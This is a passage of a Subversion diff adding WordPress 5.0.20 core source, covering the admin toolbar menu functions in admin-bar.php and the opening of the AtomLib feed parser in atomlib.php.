+				'href'   => network_admin_url( 'site-info.php?id=' . get_current_blog_id() ),
+			) );
+		}
+
+	} else if ( current_user_can( 'read' ) ) {
+		// We're on the front end, link to the Dashboard.
+		$wp_admin_bar->add_menu( array(
+			'parent' => 'site-name',
+			'id'     => 'dashboard',
+			'title'  => __( 'Dashboard' ),
+			'href'   => admin_url(),
+		) );
+
+		// Add the appearance submenu items.
+		wp_admin_bar_appearance_menu( $wp_admin_bar );
+	}
+}
+
+/**
+ * Adds the "Customize" link to the Toolbar.
+ *
+ * @since 4.3.0
+ *
+ * @param WP_Admin_Bar $wp_admin_bar WP_Admin_Bar instance.
+ * @global WP_Customize_Manager $wp_customize
+ */
+function wp_admin_bar_customize_menu( $wp_admin_bar ) {
+	global $wp_customize;
+
+	// Don't show for users who can't access the customizer or when in the admin.
+	if ( ! current_user_can( 'customize' ) || is_admin() ) {
+		return;
+	}
+
+	// Don't show if the user cannot edit a given customize_changeset post currently being previewed.
+	if ( is_customize_preview() && $wp_customize->changeset_post_id() && ! current_user_can( get_post_type_object( 'customize_changeset' )->cap->edit_post, $wp_customize->changeset_post_id() ) ) {
+		return;
+	}
+
+	$current_url = ( is_ssl() ? 'https://' : 'http://' ) . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
+	if ( is_customize_preview() && $wp_customize->changeset_uuid() ) {
+		$current_url = remove_query_arg( 'customize_changeset_uuid', $current_url );
+	}
+
+	$customize_url = add_query_arg( 'url', urlencode( $current_url ), wp_customize_url() );
+	if ( is_customize_preview() ) {
+		$customize_url = add_query_arg( array( 'changeset_uuid' => $wp_customize->changeset_uuid() ), $customize_url );
+	}
+
+	$wp_admin_bar->add_menu( array(
+		'id'     => 'customize',
+		'title'  => __( 'Customize' ),
+		'href'   => $customize_url,
+		'meta'   => array(
+			'class' => 'hide-if-no-customize',
+		),
+	) );
+	add_action( 'wp_before_admin_bar_render', 'wp_customize_support_script' );
+}
+
+/**
+ * Add the "My Sites/[Site Name]" menu and all submenus.
+ *
+ * @since 3.1.0
+ *
+ * @param WP_Admin_Bar $wp_admin_bar
+ */
+function wp_admin_bar_my_sites_menu( $wp_admin_bar ) {
+	// Don't show for logged out users or single site mode.
+	if ( ! is_user_logged_in() || ! is_multisite() )
+		return;
+
+	// Show only when the user has at least one site, or they're a super admin.
+	if ( count( $wp_admin_bar->user->blogs ) < 1 && ! current_user_can( 'manage_network' ) ) {
+		return;
+	}
+
+	if ( $wp_admin_bar->user->active_blog ) {
+		$my_sites_url = get_admin_url( $wp_admin_bar->user->active_blog->blog_id, 'my-sites.php' );
+	} else {
+		$my_sites_url = admin_url( 'my-sites.php' );
+	}
+
+	$wp_admin_bar->add_menu( array(
+		'id'    => 'my-sites',
+		'title' => __( 'My Sites' ),
+		'href'  => $my_sites_url,
+	) );
+
+	if ( current_user_can( 'manage_network' ) ) {
+		$wp_admin_bar->add_group( array(
+			'parent' => 'my-sites',
+			'id'     => 'my-sites-super-admin',
+		) );
+
+		$wp_admin_bar->add_menu( array(
+			'parent' => 'my-sites-super-admin',
+			'id'     => 'network-admin',
+			'title'  => __('Network Admin'),
+			'href'   => network_admin_url(),
+		) );
+
+		$wp_admin_bar->add_menu( array(
+			'parent' => 'network-admin',
+			'id'     => 'network-admin-d',
+			'title'  => __( 'Dashboard' ),
+			'href'   => network_admin_url(),
+		) );
+
+		if ( current_user_can( 'manage_sites' ) ) {
+			$wp_admin_bar->add_menu( array(
+				'parent' => 'network-admin',
+				'id'     => 'network-admin-s',
+				'title'  => __( 'Sites' ),
+				'href'   => network_admin_url( 'sites.php' ),
+			) );
+		}
+
+		if ( current_user_can( 'manage_network_users' ) ) {
+			$wp_admin_bar->add_menu( array(
+				'parent' => 'network-admin',
+				'id'     => 'network-admin-u',
+				'title'  => __( 'Users' ),
+				'href'   => network_admin_url( 'users.php' ),
+			) );
+		}
+
+		if ( current_user_can( 'manage_network_themes' ) ) {
+			$wp_admin_bar->add_menu( array(
+				'parent' => 'network-admin',
+				'id'     => 'network-admin-t',
+				'title'  => __( 'Themes' ),
+				'href'   => network_admin_url( 'themes.php' ),
+			) );
+		}
+
+		if ( current_user_can( 'manage_network_plugins' ) ) {
+			$wp_admin_bar->add_menu( array(
+				'parent' => 'network-admin',
+				'id'     => 'network-admin-p',
+				'title'  => __( 'Plugins' ),
+				'href'   => network_admin_url( 'plugins.php' ),
+			) );
+		}
+
+		if ( current_user_can( 'manage_network_options' ) ) {
+			$wp_admin_bar->add_menu( array(
+				'parent' => 'network-admin',
+				'id'     => 'network-admin-o',
+				'title'  => __( 'Settings' ),
+				'href'   => network_admin_url( 'settings.php' ),
+			) );
+		}
+	}
+
+	// Add site links
+	$wp_admin_bar->add_group( array(
+		'parent' => 'my-sites',
+		'id'     => 'my-sites-list',
+		'meta'   => array(
+			'class' => current_user_can( 'manage_network' ) ? 'ab-sub-secondary' : '',
+		),
+	) );
+
+	foreach ( (array) $wp_admin_bar->user->blogs as $blog ) {
+		switch_to_blog( $blog->userblog_id );
+
+		$blavatar = '<div class="blavatar"></div>';
+
+		$blogname = $blog->blogname;
+
+		if ( ! $blogname ) {
+			$blogname = preg_replace( '#^(https?://)?(www.)?#', '', get_home_url() );
+		}
+
+		$menu_id  = 'blog-' . $blog->userblog_id;
+
+		if ( current_user_can( 'read' ) ) {
+			$wp_admin_bar->add_menu( array(
+				'parent'    => 'my-sites-list',
+				'id'        => $menu_id,
+				'title'     => $blavatar . $blogname,
+				'href'      => admin_url(),
+			) );
+
+			$wp_admin_bar->add_menu( array(
+				'parent' => $menu_id,
+				'id'     => $menu_id . '-d',
+				'title'  => __( 'Dashboard' ),
+				'href'   => admin_url(),
+			) );
+		} else {
+			$wp_admin_bar->add_menu( array(
+				'parent'    => 'my-sites-list',
+				'id'        => $menu_id,
+				'title'     => $blavatar . $blogname,
+				'href'      => home_url(),
+			) );
+		}
+
+		if ( current_user_can( get_post_type_object( 'post' )->cap->create_posts ) ) {
+			$wp_admin_bar->add_menu( array(
+				'parent' => $menu_id,
+				'id'     => $menu_id . '-n',
+				'title'  => __( 'New Post' ),
+				'href'   => admin_url( 'post-new.php' ),
+			) );
+		}
+
+		if ( current_user_can( 'edit_posts' ) ) {
+			$wp_admin_bar->add_menu( array(
+				'parent' => $menu_id,
+				'id'     => $menu_id . '-c',
+				'title'  => __( 'Manage Comments' ),
+				'href'   => admin_url( 'edit-comments.php' ),
+			) );
+		}
+
+		$wp_admin_bar->add_menu( array(
+			'parent' => $menu_id,
+			'id'     => $menu_id . '-v',
+			'title'  => __( 'Visit Site' ),
+			'href'   => home_url( '/' ),
+		) );
+
+		restore_current_blog();
+	}
+}
+
+/**
+ * Provide a shortlink.
+ *
+ * @since 3.1.0
+ *
+ * @param WP_Admin_Bar $wp_admin_bar
+ */
+function wp_admin_bar_shortlink_menu( $wp_admin_bar ) {
+	$short = wp_get_shortlink( 0, 'query' );
+	$id = 'get-shortlink';
+
+	if ( empty( $short ) )
+		return;
+
+	$html = '<input class="shortlink-input" type="text" readonly="readonly" value="' . esc_attr( $short ) . '" />';
+
+	$wp_admin_bar->add_menu( array(
+		'id' => $id,
+		'title' => __( 'Shortlink' ),
+		'href' => $short,
+		'meta' => array( 'html' => $html ),
+	) );
+}
+
+/**
+ * Provide an edit link for posts and terms.
+ *
+ * @since 3.1.0
+ *
+ * @global WP_Term  $tag
+ * @global WP_Query $wp_the_query
+ *
+ * @param WP_Admin_Bar $wp_admin_bar
+ */
+function wp_admin_bar_edit_menu( $wp_admin_bar ) {
+	global $tag, $wp_the_query, $user_id;
+
+	if ( is_admin() ) {
+		$current_screen = get_current_screen();
+		$post = get_post();
+
+		if ( 'post' == $current_screen->base
+			&& 'add' != $current_screen->action
+			&& ( $post_type_object = get_post_type_object( $post->post_type ) )
+			&& current_user_can( 'read_post', $post->ID )
+			&& ( $post_type_object->public )
+			&& ( $post_type_object->show_in_admin_bar ) )
+		{
+			if ( 'draft' == $post->post_status ) {
+				$preview_link = get_preview_post_link( $post );
+				$wp_admin_bar->add_menu( array(
+					'id' => 'preview',
+					'title' => $post_type_object->labels->view_item,
+					'href' => esc_url( $preview_link ),
+					'meta' => array( 'target' => 'wp-preview-' . $post->ID ),
+				) );
+			} else {
+				$wp_admin_bar->add_menu( array(
+					'id' => 'view',
+					'title' => $post_type_object->labels->view_item,
+					'href' => get_permalink( $post->ID )
+				) );
+			}
+		} elseif ( 'edit' == $current_screen->base
+ 			&& ( $post_type_object = get_post_type_object( $current_screen->post_type ) )
+ 			&& ( $post_type_object->public )
+ 			&& ( $post_type_object->show_in_admin_bar )
+ 			&& ( get_post_type_archive_link( $post_type_object->name ) )
+			&& ! ( 'post' === $post_type_object->name && 'posts' === get_option( 'show_on_front' ) ) )
+ 		{
+ 			$wp_admin_bar->add_node( array(
+ 				'id' => 'archive',
+ 				'title' => $post_type_object->labels->view_items,
+ 				'href' => get_post_type_archive_link( $current_screen->post_type )
+ 			) );
+		} elseif ( 'term' == $current_screen->base
+			&& isset( $tag ) && is_object( $tag ) && ! is_wp_error( $tag )
+			&& ( $tax = get_taxonomy( $tag->taxonomy ) )
+			&& $tax->public )
+		{
+			$wp_admin_bar->add_menu( array(
+				'id' => 'view',
+				'title' => $tax->labels->view_item,
+				'href' => get_term_link( $tag )
+			) );
+		} elseif ( 'user-edit' == $current_screen->base
+			&& isset( $user_id )
+			&& ( $user_object = get_userdata( $user_id ) )
+			&& $user_object->exists()
+			&& $view_link = get_author_posts_url( $user_object->ID ) )
+		{
+			$wp_admin_bar->add_menu( array(
+				'id'    => 'view',
+				'title' => __( 'View User' ),
+				'href'  => $view_link,
+			) );
+		}
+	} else {
+		$current_object = $wp_the_query->get_queried_object();
+
+		if ( empty( $current_object ) )
+			return;
+
+		if ( ! empty( $current_object->post_type )
+			&& ( $post_type_object = get_post_type_object( $current_object->post_type ) )
+			&& current_user_can( 'edit_post', $current_object->ID )
+			&& $post_type_object->show_in_admin_bar
+			&& $edit_post_link = get_edit_post_link( $current_object->ID ) )
+		{
+			$wp_admin_bar->add_menu( array(
+				'id' => 'edit',
+				'title' => $post_type_object->labels->edit_item,
+				'href' => $edit_post_link
+			) );
+		} elseif ( ! empty( $current_object->taxonomy )
+			&& ( $tax = get_taxonomy( $current_object->taxonomy ) )
+			&& current_user_can( 'edit_term', $current_object->term_id )
+			&& $edit_term_link = get_edit_term_link( $current_object->term_id, $current_object->taxonomy ) )
+		{
+			$wp_admin_bar->add_menu( array(
+				'id' => 'edit',
+				'title' => $tax->labels->edit_item,
+				'href' => $edit_term_link
+			) );
+		} elseif ( is_a( $current_object, 'WP_User' )
+			&& current_user_can( 'edit_user', $current_object->ID )
+			&& $edit_user_link = get_edit_user_link( $current_object->ID ) )
+		{
+			$wp_admin_bar->add_menu( array(
+				'id'    => 'edit',
+				'title' => __( 'Edit User' ),
+				'href'  => $edit_user_link,
+			) );
+		}
+	}
+}
+
+/**
+ * Add "Add New" menu.
+ *
+ * @since 3.1.0
+ *
+ * @param WP_Admin_Bar $wp_admin_bar
+ */
+function wp_admin_bar_new_content_menu( $wp_admin_bar ) {
+	$actions = array();
+
+	$cpts = (array) get_post_types( array( 'show_in_admin_bar' => true ), 'objects' );
+
+	if ( isset( $cpts['post'] ) && current_user_can( $cpts['post']->cap->create_posts ) )
+		$actions[ 'post-new.php' ] = array( $cpts['post']->labels->name_admin_bar, 'new-post' );
+
+	if ( isset( $cpts['attachment'] ) && current_user_can( 'upload_files' ) )
+		$actions[ 'media-new.php' ] = array( $cpts['attachment']->labels->name_admin_bar, 'new-media' );
+
+	if ( current_user_can( 'manage_links' ) )
+		$actions[ 'link-add.php' ] = array( _x( 'Link', 'add new from admin bar' ), 'new-link' );
+
+	if ( isset( $cpts['page'] ) && current_user_can( $cpts['page']->cap->create_posts ) )
+		$actions[ 'post-new.php?post_type=page' ] = array( $cpts['page']->labels->name_admin_bar, 'new-page' );
+
+	unset( $cpts['post'], $cpts['page'], $cpts['attachment'] );
+
+	// Add any additional custom post types.
+	foreach ( $cpts as $cpt ) {
+		if ( ! current_user_can( $cpt->cap->create_posts ) )
+			continue;
+
+		$key = 'post-new.php?post_type=' . $cpt->name;
+		$actions[ $key ] = array( $cpt->labels->name_admin_bar, 'new-' . $cpt->name );
+	}
+	// Avoid clash with parent node and a 'content' post type.
+	if ( isset( $actions['post-new.php?post_type=content'] ) )
+		$actions['post-new.php?post_type=content'][1] = 'add-new-content';
+
+	if ( current_user_can( 'create_users' ) || ( is_multisite() && current_user_can( 'promote_users' ) ) ) {
+		$actions[ 'user-new.php' ] = array( _x( 'User', 'add new from admin bar' ), 'new-user' );
+	}
+
+	if ( ! $actions )
+		return;
+
+	$title = '<span class="ab-icon"></span><span class="ab-label">' . _x( 'New', 'admin bar menu group label' ) . '</span>';
+
+	$wp_admin_bar->add_menu( array(
+		'id'    => 'new-content',
+		'title' => $title,
+		'href'  => admin_url( current( array_keys( $actions ) ) ),
+	) );
+
+	foreach ( $actions as $link => $action ) {
+		list( $title, $id ) = $action;
+
+		$wp_admin_bar->add_menu( array(
+			'parent'    => 'new-content',
+			'id'        => $id,
+			'title'     => $title,
+			'href'      => admin_url( $link )
+		) );
+	}
+}
+
+/**
+ * Add edit comments link with awaiting moderation count bubble.
+ *
+ * @since 3.1.0
+ *
+ * @param WP_Admin_Bar $wp_admin_bar
+ */
+function wp_admin_bar_comments_menu( $wp_admin_bar ) {
+	if ( !current_user_can('edit_posts') )
+		return;
+
+	$awaiting_mod = wp_count_comments();
+	$awaiting_mod = $awaiting_mod->moderated;
+	$awaiting_text = sprintf( _n( '%s comment awaiting moderation', '%s comments awaiting moderation', $awaiting_mod ), number_format_i18n( $awaiting_mod ) );
+
+	$icon  = '<span class="ab-icon"></span>';
+	$title = '<span class="ab-label awaiting-mod pending-count count-' . $awaiting_mod . '" aria-hidden="true">' . number_format_i18n( $awaiting_mod ) . '</span>';
+	$title .= '<span class="screen-reader-text">' . $awaiting_text . '</span>';
+
+	$wp_admin_bar->add_menu( array(
+		'id'    => 'comments',
+		'title' => $icon . $title,
+		'href'  => admin_url('edit-comments.php'),
+	) );
+}
+
+/**
+ * Add appearance submenu items to the "Site Name" menu.
+ *
+ * @since 3.1.0
+ *
+ * @param WP_Admin_Bar $wp_admin_bar
+ */
+function wp_admin_bar_appearance_menu( $wp_admin_bar ) {
+	$wp_admin_bar->add_group( array( 'parent' => 'site-name', 'id' => 'appearance' ) );
+
+	if ( current_user_can( 'switch_themes' ) ) {
+		$wp_admin_bar->add_menu( array(
+			'parent' => 'appearance',
+			'id'     => 'themes',
+			'title'  => __( 'Themes' ),
+			'href'   => admin_url( 'themes.php' ),
+		) );
+	}
+
+	if ( ! current_user_can( 'edit_theme_options' ) ) {
+		return;
+	}
+
+	if ( current_theme_supports( 'widgets' )  ) {
+		$wp_admin_bar->add_menu( array(
+			'parent' => 'appearance',
+			'id'     => 'widgets',
+			'title'  => __( 'Widgets' ),
+			'href'   => admin_url( 'widgets.php' ),
+		) );
+	}
+
+	if ( current_theme_supports( 'menus' ) || current_theme_supports( 'widgets' ) )
+		$wp_admin_bar->add_menu( array( 'parent' => 'appearance', 'id' => 'menus', 'title' => __('Menus'), 'href' => admin_url('nav-menus.php') ) );
+
+	if ( current_theme_supports( 'custom-background' ) ) {
+		$wp_admin_bar->add_menu( array(
+			'parent' => 'appearance',
+			'id'     => 'background',
+			'title'  => __( 'Background' ),
+			'href'   => admin_url( 'themes.php?page=custom-background' ),
+			'meta'   => array(
+				'class' => 'hide-if-customize',
+			),
+		) );
+	}
+
+	if ( current_theme_supports( 'custom-header' ) ) {
+		$wp_admin_bar->add_menu( array(
+			'parent' => 'appearance',
+			'id'     => 'header',
+			'title'  => __( 'Header' ),
+			'href'   => admin_url( 'themes.php?page=custom-header' ),
+			'meta'   => array(
+				'class' => 'hide-if-customize',
+			),
+		) );
+	}
+
+}
+
+/**
+ * Provide an update link if theme/plugin/core updates are available.
+ *
+ * @since 3.1.0
+ *
+ * @param WP_Admin_Bar $wp_admin_bar
+ */
+function wp_admin_bar_updates_menu( $wp_admin_bar ) {
+
+	$update_data = wp_get_update_data();
+
+	if ( !$update_data['counts']['total'] )
+		return;
+
+	$title = '<span class="ab-icon"></span><span class="ab-label">' . number_format_i18n( $update_data['counts']['total'] ) . '</span>';
+	$title .= '<span class="screen-reader-text">' . $update_data['title'] . '</span>';
+
+	$wp_admin_bar->add_menu( array(
+		'id'    => 'updates',
+		'title' => $title,
+		'href'  => network_admin_url( 'update-core.php' ),
+		'meta'  => array(
+			'title' => $update_data['title'],
+		),
+	) );
+}
+
+/**
+ * Add search form.
+ *
+ * @since 3.3.0
+ *
+ * @param WP_Admin_Bar $wp_admin_bar
+ */
+function wp_admin_bar_search_menu( $wp_admin_bar ) {
+	if ( is_admin() )
+		return;
+
+	$form  = '<form action="' . esc_url( home_url( '/' ) ) . '" method="get" id="adminbarsearch">';
+	$form .= '<input class="adminbar-input" name="s" id="adminbar-search" type="text" value="" maxlength="150" />';
+	$form .= '<label for="adminbar-search" class="screen-reader-text">' . __( 'Search' ) . '</label>';
+	$form .= '<input type="submit" class="adminbar-button" value="' . __('Search') . '"/>';
+	$form .= '</form>';
+
+	$wp_admin_bar->add_menu( array(
+		'parent' => 'top-secondary',
+		'id'     => 'search',
+		'title'  => $form,
+		'meta'   => array(
+			'class'    => 'admin-bar-search',
+			'tabindex' => -1,
+		)
+	) );
+}
+
+/**
+ * Add secondary menus.
+ *
+ * @since 3.3.0
+ *
+ * @param WP_Admin_Bar $wp_admin_bar
+ */
+function wp_admin_bar_add_secondary_groups( $wp_admin_bar ) {
+	$wp_admin_bar->add_group( array(
+		'id'     => 'top-secondary',
+		'meta'   => array(
+			'class' => 'ab-top-secondary',
+		),
+	) );
+
+	$wp_admin_bar->add_group( array(
+		'parent' => 'wp-logo',
+		'id'     => 'wp-logo-external',
+		'meta'   => array(
+			'class' => 'ab-sub-secondary',
+		),
+	) );
+}
+
+/**
+ * Style and scripts for the admin bar.
+ *
+ * @since 3.1.0
+ */
+function wp_admin_bar_header() { ?>
+<style type="text/css" media="print">#wpadminbar { display:none; }</style>
+<?php
+}
+
+/**
+ * Default admin bar callback.
+ *
+ * @since 3.1.0
+ */
+function _admin_bar_bump_cb() { ?>
+<style type="text/css" media="screen">
+	html { margin-top: 32px !important; }
+	* html body { margin-top: 32px !important; }
+	@media screen and ( max-width: 782px ) {
+		html { margin-top: 46px !important; }
+		* html body { margin-top: 46px !important; }
+	}
+</style>
+<?php
+}
+
+/**
+ * Sets the display status of the admin bar.
+ *
+ * This can be called immediately upon plugin load. It does not need to be called
+ * from a function hooked to the {@see 'init'} action.
+ *
+ * @since 3.1.0
+ *
+ * @global bool $show_admin_bar
+ *
+ * @param bool $show Whether to allow the admin bar to show.
+ */
+function show_admin_bar( $show ) {
+	global $show_admin_bar;
+	$show_admin_bar = (bool) $show;
+}
+
+/**
+ * Determines whether the admin bar should be showing.
+ * 
+ * For more information on this and similar theme functions, check out
+ * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/ 
+ * Conditional Tags} article in the Theme Developer Handbook.
+ * 
+ * @since 3.1.0
+ *
+ * @global bool   $show_admin_bar
+ * @global string $pagenow
+ *
+ * @return bool Whether the admin bar should be showing.
+ */
+function is_admin_bar_showing() {
+	global $show_admin_bar, $pagenow;
+
+	// For all these types of requests, we never want an admin bar.
+	if ( defined('XMLRPC_REQUEST') || defined('DOING_AJAX') || defined('IFRAME_REQUEST') )
+		return false;
+
+	if ( is_embed() ) {
+		return false;
+	}
+
+	// Integrated into the admin.
+	if ( is_admin() )
+		return true;
+
+	if ( ! isset( $show_admin_bar ) ) {
+		if ( ! is_user_logged_in() || 'wp-login.php' == $pagenow ) {
+			$show_admin_bar = false;
+		} else {
+			$show_admin_bar = _get_admin_bar_pref();
+		}
+	}
+
+	/**
+	 * Filters whether to show the admin bar.
+	 *
+	 * Returning false to this hook is the recommended way to hide the admin bar.
+	 * The user's display preference is used for logged in users.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param bool $show_admin_bar Whether the admin bar should be shown. Default false.
+	 */
+	$show_admin_bar = apply_filters( 'show_admin_bar', $show_admin_bar );
+
+	return $show_admin_bar;
+}
+
+/**
+ * Retrieve the admin bar display preference of a user.
+ *
+ * @since 3.1.0
+ * @access private
+ *
+ * @param string $context Context of this preference check. Defaults to 'front'. The 'admin'
+ * 	preference is no longer used.
+ * @param int $user Optional. ID of the user to check, defaults to 0 for current user.
+ * @return bool Whether the admin bar should be showing for this user.
+ */
+function _get_admin_bar_pref( $context = 'front', $user = 0 ) {
+	$pref = get_user_option( "show_admin_bar_{$context}", $user );
+	if ( false === $pref )
+		return true;
+
+	return 'true' === $pref;
+}
Index: /tags/5.0.20/src/wp-includes/atomlib.php
===================================================================
--- /tags/5.0.20/src/wp-includes/atomlib.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/atomlib.php	(revision 56912)
@@ -0,0 +1,394 @@
+<?php
+/**
+ * Atom Syndication Format PHP Library
+ *
+ * @package AtomLib
+ * @link http://code.google.com/p/phpatomlib/
+ *
+ * @author Elias Torres <elias@torrez.us>
+ * @version 0.4
+ * @since 2.3.0
+ */
+
+/**
+ * Structure that store common Atom Feed Properties
+ *
+ * @package AtomLib
+ */
+class AtomFeed {
+	/**
+	 * Stores Links
+	 * @var array
+	 * @access public
+	 */
+    var $links = array();
+    /**
+     * Stores Categories
+     * @var array
+     * @access public
+     */
+    var $categories = array();
+	/**
+	 * Stores Entries
+	 *
+	 * @var array
+	 * @access public
+	 */
+    var $entries = array();
+}
+
+/**
+ * Structure that store Atom Entry Properties
+ *
+ * @package AtomLib
+ */
+class AtomEntry {
+	/**
+	 * Stores Links
+	 * @var array
+	 * @access public
+	 */
+    var $links = array();
+    /**
+     * Stores Categories
+     * @var array
+	 * @access public
+     */
+    var $categories = array();
+}
+
+/**
+ * AtomLib Atom Parser API
+ *
+ * @package AtomLib
+ */
+class AtomParser {
+
+    var $NS = 'http://www.w3.org/2005/Atom';
+    var $ATOM_CONTENT_ELEMENTS = array('content','summary','title','subtitle','rights');
+    var $ATOM_SIMPLE_ELEMENTS = array('id','updated','published','draft');
+
+    var $debug = false;
+
+    var $depth = 0;
+    var $indent = 2;
+    var $in_content;
+    var $ns_contexts = array();
+    var $ns_decls = array();
+    var $content_ns_decls = array();
+    var $content_ns_contexts = array();
+    var $is_xhtml = false;
+    var $is_html = false;
+    var $is_text = true;
+    var $skipped_div = false;
+
+    var $FILE = "php://input";
+
+    var $feed;
+    var $current;
+
+	/**
+	 * PHP5 constructor.
+	 */
+    function __construct() {
+
+        $this->feed = new AtomFeed();
+        $this->current = null;
+        $this->map_attrs_func = array( __CLASS__, 'map_attrs' );
+        $this->map_xmlns_func = array( __CLASS__, 'map_xmlns' );
+    }
+
+	/**
+	 * PHP4 constructor.
+	 */
+	public function AtomParser() {
+		self::__construct();
+	}
+
+	/**
+	 * Map attributes to key="val"
+	 *
+	 * @param string $k Key
+	 * @param string $v Value
+	 * @return string
+	 */
+	public static function map_attrs($k, $v) {
+		return "$k=\"$v\"";
+	}
+
+	/**
+	 * Map XML namespace to string.
+	 *
+	 * @param indexish $p XML Namespace element index
+	 * @param array $n Two-element array pair. [ 0 => {namespace}, 1 => {url} ]
+	 * @return string 'xmlns="{url}"' or 'xmlns:{namespace}="{url}"'
+	 */
+	public static function map_xmlns($p, $n) {
+		$xd = "xmlns";
+		if( 0 < strlen($n[0]) ) {
+			$xd .= ":{$n[0]}";
+		}
+		return "{$xd}=\"{$n[1]}\"";
+	}
+
+    function _p($msg) {
+        if($this->debug) {
+            print str_repeat(" ", $this->depth * $this->indent) . $msg ."\n";
+        }
+    }
+
+    function error_handler($log_level, $log_text, $error_file, $error_line) {
+        $this->error = $log_text;
+    }
+
+    function parse() {
+
+        set_error_handler(array(&$this, 'error_handler'));
+
+        array_unshift($this->ns_contexts, array());
+
+        if ( ! function_exists( 'xml_parser_create_ns' ) ) {
+        	trigger_error( __( "PHP's XML extension is not available. Please contact your hosting provider to enable PHP's XML extension." ) );
+        	return false;
+        }
+
+        $parser = xml_parser_create_ns();
+        xml_set_object($parser, $this);
+        xml_set_element_handler($parser, "start_element", "end_element");
+        xml_parser_set_option($parser,XML_OPTION_CASE_FOLDING,0);
+        xml_parser_set_option($parser,XML_OPTION_SKIP_WHITE,0);
+        xml_set_character_data_handler($parser, "cdata");
+        xml_set_default_handler($parser, "_default");
+        xml_set_start_namespace_decl_handler($parser, "start_ns");
+        xml_set_end_namespace_decl_handler($parser, "end_ns");
+
+        $this->content = '';
+
+        $ret = true;
+
+        $fp = fopen($this->FILE, "r");
+        while ($data = fread($fp, 4096)) {
+            if($this->debug) $this->content .= $data;
+
+            if(!xml_parse($parser, $data, feof($fp))) {
+                /* translators: 1: error message, 2: line number */
+                trigger_error(sprintf(__('XML Error: %1$s at line %2$s')."\n",
+                    xml_error_string(xml_get_error_code($parser)),
+                    xml_get_current_line_number($parser)));
+                $ret = false;
+                break;
+            }
+        }
+        fclose($fp);
+
+        xml_parser_free($parser);
+
+        restore_error_handler();
+
+        return $ret;
+    }
+
+    function start_element($parser, $name, $attrs) {
+
+        $tag = array_pop(explode(":", $name));
+
+        switch($name) {
+            case $this->NS . ':feed':
+                $this->current = $this->feed;
+                break;
+            case $this->NS . ':entry':
+                $this->current = new AtomEntry();
+                break;
+        };
+
+        $this->_p("start_element('$name')");
+        #$this->_p(print_r($this->ns_contexts,true));
+        #$this->_p('current(' . $this->current . ')');
+
+        array_unshift($this->ns_contexts, $this->ns_decls);
+
+        $this->depth++;
+
+        if(!empty($this->in_content)) {
+
+            $this->content_ns_decls = array();
+
+            if($this->is_html || $this->is_text)
+                trigger_error("Invalid content in element found. Content must not be of type text or html if it contains markup.");
+
+            $attrs_prefix = array();
+
+            // resolve prefixes for attributes
+            foreach($attrs as $key => $value) {
+                $with_prefix = $this->ns_to_prefix($key, true);
+                $attrs_prefix[$with_prefix[1]] = $this->xml_escape($value);
+            }
+
+            $attrs_str = join(' ', array_map($this->map_attrs_func, array_keys($attrs_prefix), array_values($attrs_prefix)));
+            if(strlen($attrs_str) > 0) {
+                $attrs_str = " " . $attrs_str;
+            }
+
+            $with_prefix = $this->ns_to_prefix($name);
+
+            if(!$this->is_declared_content_ns($with_prefix[0])) {
+                array_push($this->content_ns_decls, $with_prefix[0]);
+            }
+
+            $xmlns_str = '';
+            if(count($this->content_ns_decls) > 0) {
+                array_unshift($this->content_ns_contexts, $this->content_ns_decls);
+                $xmlns_str .= join(' ', array_map($this->map_xmlns_func, array_keys($this->content_ns_contexts[0]), array_values($this->content_ns_contexts[0])));
+                if(strlen($xmlns_str) > 0) {
+                    $xmlns_str = " " . $xmlns_str;
+                }
+            }
+
+            array_push($this->in_content, array($tag, $this->depth, "<". $with_prefix[1] ."{$xmlns_str}{$attrs_str}" . ">"));
+
+        } else if(in_array($tag, $this->ATOM_CONTENT_ELEMENTS) || in_array($tag, $this->ATOM_SIMPLE_ELEMENTS)) {
+            $this->in_content = array();
+            $this->is_xhtml = $attrs['type'] == 'xhtml';
+            $this->is_html = $attrs['type'] == 'html' || $attrs['type'] == 'text/html';
+            $this->is_text = !in_array('type',array_keys($attrs)) || $attrs['type'] == 'text';
+            $type = $this->is_xhtml ? 'XHTML' : ($this->is_html ? 'HTML' : ($this->is_text ? 'TEXT' : $attrs['type']));
+
+            if(in_array('src',array_keys($attrs))) {
+                $this->current->$tag = $attrs;
+            } else {
+                array_push($this->in_content, array($tag,$this->depth, $type));
+            }
+        } else if($tag == 'link') {
+            array_push($this->current->links, $attrs);
+        } else if($tag == 'category') {
+            array_push($this->current->categories, $attrs);
+        }
+
+        $this->ns_decls = array();
+    }
+
+    function end_element($parser, $name) {
+
+        $tag = array_pop(explode(":", $name));
+
+        $ccount = count($this->in_content);
+
+        # if we are *in* content, then let's proceed to serialize it
+        if(!empty($this->in_content)) {
+            # if we are ending the original content element
+            # then let's finalize the content
+            if($this->in_content[0][0] == $tag &&
+                $this->in_content[0][1] == $this->depth) {
+                $origtype = $this->in_content[0][2];
+                array_shift($this->in_content);
+                $newcontent = array();
+                foreach($this->in_content as $c) {
+                    if(count($c) == 3) {
+                        array_push($newcontent, $c[2]);
+                    } else {
+                        if($this->is_xhtml || $this->is_text) {
+                            array_push($newcontent, $this->xml_escape($c));
+                        } else {
+                            array_push($newcontent, $c);
+                        }
+                    }
+                }
+                if(in_array($tag, $this->ATOM_CONTENT_ELEMENTS)) {
+                    $this->current->$tag = array($origtype, join('',$newcontent));
+                } else {
+                    $this->current->$tag = join('',$newcontent);
+                }
+                $this->in_content = array();
+            } else if($this->in_content[$ccount-1][0] == $tag &&
+                $this->in_content[$ccount-1][1] == $this->depth) {
+                $this->in_content[$ccount-1][2] = substr($this->in_content[$ccount-1][2],0,-1) . "/>";
+            } else {
+                # else, just finalize the current element's content
+                $endtag = $this->ns_to_prefix($name);
+                array_push($this->in_content, array($tag, $this->depth, "</$endtag[1]>"));
+            }
+        }
+
+        array_shift($this->ns_contexts);
+
+        $this->depth--;
+
+        if($name == ($this->NS . ':entry')) {
+            array_push($this->feed->entries, $this->current);
+            $this->current = null;
+        }
+
+        $this->_p("end_element('$name')");
+    }
+
+    function start_ns($parser, $prefix, $uri) {
+        $this->_p("starting: " . $prefix . ":" . $uri);
+        array_push($this->ns_decls, array($prefix,$uri));
+    }
+
+    function end_ns($parser, $prefix) {
+        $this->_p("ending: #" . $prefix . "#");
+    }
+
+    function cdata($parser, $data) {
+        $this->_p("data: #" . str_replace(array("\n"), array("\\n"), trim($data)) . "#");
+        if(!empty($this->in_content)) {
+            array_push($this->in_content, $data);
+        }
+    }
